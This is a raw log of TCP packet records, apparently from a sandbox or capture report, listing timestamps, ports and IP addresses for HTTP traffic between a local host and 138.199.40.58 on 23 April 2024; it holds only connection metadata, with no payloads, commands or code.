Apr 23, 2024 08:39:58.743794918 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.743804932 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.743829012 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.743860006 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.743880033 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.743895054 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.743913889 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.743949890 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.743963003 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.744009972 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.744029045 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.744038105 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.744041920 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.744108915 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.744119883 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.744127035 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.744132042 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.744143963 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.744148970 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.744188070 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.744205952 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.744215965 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.744236946 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.744239092 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.744262934 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.744282007 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.744329929 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.744379997 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.744395018 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.744437933 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.744446039 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.744446993 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.744483948 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.744539976 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.744585991 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.744606972 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.744630098 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.744637966 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.744689941 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.744704962 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.744716883 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.744729996 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.744743109 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.744755983 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.744787931 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.744787931 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.744791031 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.744817019 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.744843960 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.744867086 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.744882107 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.744903088 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.744906902 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.744946957 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.744966984 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.744982004 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.745023012 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.745038986 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.745047092 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.745053053 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.745107889 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.745147943 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.745260954 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.745274067 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.745287895 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.745307922 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.745335102 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.745354891 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.745369911 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.745383024 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.745390892 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.745404959 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.745445013 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.745459080 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.745471001 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.745496035 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.745522976 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.745548964 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.745560884 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.745583057 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.745584965 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.745608091 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.745640993 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.745655060 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.745666027 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.745709896 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.745723963 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.745733976 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.745759010 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.745776892 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.745815992 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.745831013 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.745842934 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.745855093 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.745907068 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.745920897 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.745928049 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.745960951 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.745974064 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.745982885 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.745985985 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.745997906 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.746015072 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.746056080 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.746069908 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.746078014 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.746081114 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.746089935 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.746114016 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.746134043 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.746172905 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.746186972 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.746201038 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.746215105 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.746226072 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.746227026 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.746239901 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.746248960 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.746252060 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.746275902 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.746299982 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.746301889 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.746301889 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.746365070 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.746377945 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.746388912 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.746388912 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.746409893 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.746421099 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.746443987 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.746464968 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.746479988 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.746562958 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.746576071 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.746594906 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.746598005 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.746609926 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.746649027 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.746656895 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.746658087 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.746685028 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.746767998 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.746781111 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.746793032 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.746798992 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.746844053 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.746856928 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.746861935 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.746867895 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.746870995 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.746901035 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.746931076 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.746949911 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.746965885 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.747019053 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.747044086 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.747061014 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.747087955 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.747102022 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.747170925 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.747201920 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.747226954 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.747267008 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.747288942 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.747303963 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.747348070 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.747380018 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.747401953 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.747440100 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.747461081 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.747466087 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.747505903 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.747525930 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.747529030 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.747569084 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.747586966 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.747590065 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.747651100 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.747690916 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.747703075 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.747754097 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.747766972 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.747771978 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.747778893 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.747791052 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.747802973 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.747809887 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.747824907 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.747838020 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.747844934 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.747855902 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.747870922 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.747884035 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.747894049 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.747905970 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.747909069 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.747927904 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.747930050 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.747988939 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.748002052 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.748013020 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.748039961 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.748054028 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.748063087 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.748065948 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.748104095 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.748125076 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.748126984 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.748148918 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.748152018 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.748186111 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.748209000 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.748224974 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.748270988 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.748284101 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.748307943 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.748331070 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.748331070 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.748344898 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.748388052 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.748435974 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.748449087 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.748455048 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.748507977 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.748521090 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.748528004 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.748553991 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.748568058 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.748574018 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.748622894 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.748635054 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.748641014 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.748646975 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.748666048 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.748672009 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.748684883 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.748691082 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.748697996 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.748720884 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.748755932 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.748769045 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.748786926 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.748792887 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.748817921 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.748837948 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.748841047 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.748866081 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.748888969 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.748912096 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.748917103 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.748943090 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.748953104 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.748965979 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.748989105 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.749058008 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.749072075 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.749099016 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.749113083 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.749121904 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.749125004 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.749136925 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.749144077 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.749171019 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.749188900 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.749197960 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.749214888 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.749253035 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.749295950 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.749330997 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.749350071 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.749361992 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.749381065 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.749385118 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.749419928 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.749433041 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.749439955 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.749485016 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.749499083 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.749505997 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.749511003 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.749533892 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.749556065 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.749609947 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.749623060 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.749634981 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.749648094 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.749660969 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.749671936 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.749711037 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.749723911 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.749735117 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.749735117 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.749768019 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.749789000 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.749794006 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.749810934 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.749825954 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.749854088 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.749872923 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.749886036 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.749921083 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.749933958 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.749959946 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.749979019 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.749979019 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.749980927 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.750005007 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.750022888 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.750025988 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.750087023 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.750098944 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.750108004 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.750112057 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.750130892 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.750137091 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.750173092 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.750193119 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.750206947 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.750211954 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.750257015 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.750277042 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.750302076 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.750320911 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.750333071 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.750345945 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.750356913 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.750379086 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.750400066 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.750405073 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.750431061 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.750449896 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.750471115 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.750482082 CEST	80	49705	138.199.40.58	192.168.2.7
